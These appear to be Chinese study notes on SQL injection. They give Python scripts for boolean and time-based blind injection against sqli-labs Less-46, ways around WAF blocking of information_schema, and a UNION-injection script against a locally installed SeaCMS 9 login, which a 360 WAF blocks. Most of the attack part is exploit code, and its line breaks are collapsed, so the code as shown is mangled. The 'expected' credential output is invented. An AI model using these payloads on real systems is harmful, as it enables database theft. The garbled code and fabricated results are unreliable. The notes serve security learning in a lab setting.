1.sqlin-lib 46關
打開網站配置文件發現
此網站的對ID進行了排序,我們可以知道,order by接不了union ,那我們可以通過測試sort,rond等函數,觀察網頁的反饋來判斷我們的盲注是否正確
我們發現
當參數有sort來排序時,我們獲得的回顯
對于布爾盲注
import requests
from bs4 import BeautifulSoup# 函數:解析響應內容
def get_content(resp):# 使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(resp.text, 'html.parser')# 查找特定的 HTML 元素,根據目標頁面的結構進行調整username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username_elem.text.strip() if username_elem else None# 函數:二分查找注入
def binary_search_injection(base_url, sql_query_template, max_length=100):result = [] # 存儲結果for i in range(1, max_length + 1):left, right = 32, 127 # ASCII 范圍while left <= right:mid = (left + right) // 2 # 中間值# 構造注入 URLurl = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))try:# 發送請求resp = requests.get(url)content = get_content(resp)# 根據響應內容調整搜索范圍if content == 'Dumb':left = mid + 1else:right = mid - 1except Exception as e:print(f"請求 {url} 失敗: {e}")break# 確定當前字符if left <= 127 and left >= 32:char = chr(left)if char.isspace():break # 空格表示結束result.append(char)print(''.join(result))else:break # 超出范圍,結束return ''.join(result)# 主程序
if __name__ == '__main__':# 目標 URL(包含 {sql_query} 占位符)base_url = "http://localhost:8080/Less-46/index.php?sort={sql_query} -- "# SQL 查詢模板(爆破數據庫名)database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"# 調用函數爆破數據庫名database_name = binary_search_injection(base_url, database_query)print(f"\nDatabase Name: {database_name}")
時間盲注
import requests
import timedef time_blind_injection(base_url, sql_query_template, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 127char_found = Falsewhile left <= right:mid = (left + right) // 2payload = sql_query_template.replace('{index}', str(i)).replace('{mid_char}', str(mid))url = f"{base_url}?sort={payload}"try:start_time = time.time()response = requests.get(url)end_time = time.time()elapsed_time = end_time - start_timeexcept Exception as e:print(f"請求失敗: {e}")breakif elapsed_time > 5:left = mid + 1else:right = mid - 1if left <= 127 and left >= 32:final_char = chr(left)else:break result.append(final_char)print(f"Extracted: {''.join(result)}")return ''.join(result)if __name__ == '__main__':base_url = "http://localhost:8080/Less-46/index.php"database_query_template = "if(ascii(substr(database(),{index},1))>{mid_char},sleep(5),id)"extracted_data = time_blind_injection(base_url, database_query_template)print(f"\nDatabase Name: {extracted_data}")
2.WAF過濾information_schema
--1.介紹
????????? information_schema是信息數據庫,其中保存著關于mysql服務器所維護的所有其他數據庫的信息。在information_schema中,有數個只讀表。它們實際上是視圖,而不是基本表,因此,你將無法看到與之相關的任何文件,也就是information_schema說一個虛擬數據庫,物理上并不存在。
獲取所有數據庫列表
SELECT schema_name FROM information_schema.schemata;
查詢某數據庫下所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';
表下的字段
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';
--2.危害
? ? ? ? 如何不屏蔽這個庫,那么當駭入到網站時,網站的所有數據庫(MySQL型)的信息將全部暴露,從而更容易被駭入成功
--3.屏蔽后的繞過
? ? ? ? -1.我們最容易想到的就是我們使用UNcode等編碼來混淆我們的測試代碼,但是一般來說這種方式是掩耳盜鈴,因為我們的代碼到最后都在WAF這里原形畢露,一般來說是不行的
? ? ? ? -2.? ?這個庫不行,換一個庫,我們可以使用其他的庫來完成這個操作? ??
? ? ? ? ? ? ? ? 比如:
performance_schema:主要存儲了數據庫服務的性能參數
MySQL:主要存儲了系統的用戶權限信息和幫助文檔
sys:5.7后新增產物:information_schema和performance_schema的結合體,并以視圖的形式顯示出來的,能夠查詢出更令人容易理解的數據。
例如:
sys.schemas
、sys.tables
、sys.columns
? ?-3.報錯注入,一般來說服務器都會屏蔽回顯,這個方法一般行不通
3.海洋cms9版本的注入
本地安裝
? ? ? ? 1.下載解壓后,放在新建文件夾里面,使用快速搭建的軟件(以小皮為例子)
選擇目錄
? ? ? ? 在瀏覽器在打開index.php
然后跟著走
記住賬號
? ? ? ?設置數據庫,小皮這里的賬號和密碼都是root
進入網站
打開登錄界面,查看源代碼發現
<?php
session_start();
require_once("include/common.php");
//前置跳轉start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳轉end
require_once(sea_INC."/main.class.php");
if($cfg_user==0)
{ShowMsg('系統已關閉會員功能!','index.php');exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //構造session安全碼
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{if($cfg_feedback_ck=='1'){$validate = empty($validate) ? '' : strtolower(trim($validate));if($validate=='' || $validate != $svali){ResetVdValue();ShowMsg('驗證碼不正確!','-1');exit();}}if($userid==''){ShowMsg('請輸入用戶名!','-1');exit();}if($pwd==''){ShowMsg('請輸入密碼!','-1');exit();}$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd){//驗證是否激活郵箱require_once('data/admin/smtp.php');if($smtpreg=='on'){$sql="SELECT acode FROM sea_member where username= '$userid'"; $row = $dsql->GetOne($sql);if($row['acode']!='y'){showMsg("您的賬戶尚未激活,請激活后登陸!","index.php",0,100000);exit;}}$_SESSION['sea_user_id'] = $row1['id'];$uid=$row1['id'];$_SESSION['sea_user_name'] = $row1['username'];if($row1['vipendtime']<time()){$_SESSION['sea_user_group'] = 2;$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");$_SESSION['hashstr']=$hashstr;$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");if($row1['gid'] !=2){ShowMsg("您購買的會員組已到期,請注意續費!<br>成功登錄!","member.php",0,30000);}else{ShowMsg("成功登錄,正在轉向會員中心!","member.php",0,3000);}}else{$_SESSION['sea_user_group'] = $row1['gid'];$_SESSION['hashstr']=$hashstr;$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");ShowMsg("成功登錄,正在轉向會員中心!","member.php",0,3000);}exit();}else{ShowMsg("密碼錯誤或賬戶已被禁用","login.php",0,3000);exit();}
}
else
{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4 AND $GLOBALS['isMobile']==1){$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}$content=loadFile($tempfile);$t=$content;$t=$mainClassObj->parseTopAndFoot($t);$t=$mainClassObj->parseHistory($t);$t=$mainClassObj->parseSelf($t);$t=$mainClassObj->parseGlobal($t);$t=$mainClassObj->parseAreaList($t);$t=$mainClassObj->parseNewsAreaList($t);$t=$mainClassObj->parseMenuList($t,"");$t=$mainClassObj->parseVideoList($t,-444);$t=$mainClassObj->parseNewsList($t,-444);$t=$mainClassObj->parseTopicList($t);$t=replaceCurrentTypeId($t,-444);$t=$mainClassObj->parseIf($t);if($cfg_feedback_ck=='1'){$t=str_replace("{login:viewLogin}",viewLogin(),$t);}else{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}$t=str_replace("{login:main}",viewMain(),$t);$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);$t=str_replace("{seacms:member}",front_member(),$t);echo $t;exit();
}function viewMain(){$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."會員登錄</h3></div>";return $main;
}function viewLogin(){$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用戶名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密碼\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?點擊更換\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"驗證碼\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登錄\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注冊用戶</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密碼</a></li>".
"</ul>";return $mystr;
}function viewLogin2(){$mystr="<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用戶名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密碼\" /></li>".
"<li><input type=\"submit\" value=\"登錄\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注冊用戶</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密碼</a></li>".
"</form>".
"</ul>";return $mystr;
}
發現,在這個地方
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
它是直接使用用戶的ID去查詢的,那么我們有機會從這里下手
import requestsdef get_database_names(url):# 構造 SQL 注入查詢payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"data = {"dopost": "login","userid": payload,"pwd": "anything"}try:response = requests.post(url, data=data)return response.textexcept requests.exceptions.RequestException as e:print(f"請求失敗: {e}")return Nonedef extract_database_names(response_text):database_names = []lines = response_text.split("\n")for line in lines:if "<td>" in line:parts = line.split("<td>")for part in parts[1:]:name = part.split("</td>")[0].strip()if name not in database_names and name:database_names.append(name)return database_namesif __name__ == '__main__':# 目標 URLtarget_url = "http://localhost:8000/login.php"response = get_database_names(target_url)print(response)if response:databases = extract_database_names(response)print("已獲取到以下數據庫名稱:")for db in databases:print(db)else:print("無法獲取數據庫名稱。")
期望得到
{'username': 'admin', 'password': '5f4dcc3b5aa765d61d8327deb882cf99'}
{'username': 'user', 'password': '25d55ad283aa400af464c76d713c07ad'}
?但是回顯報錯
<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>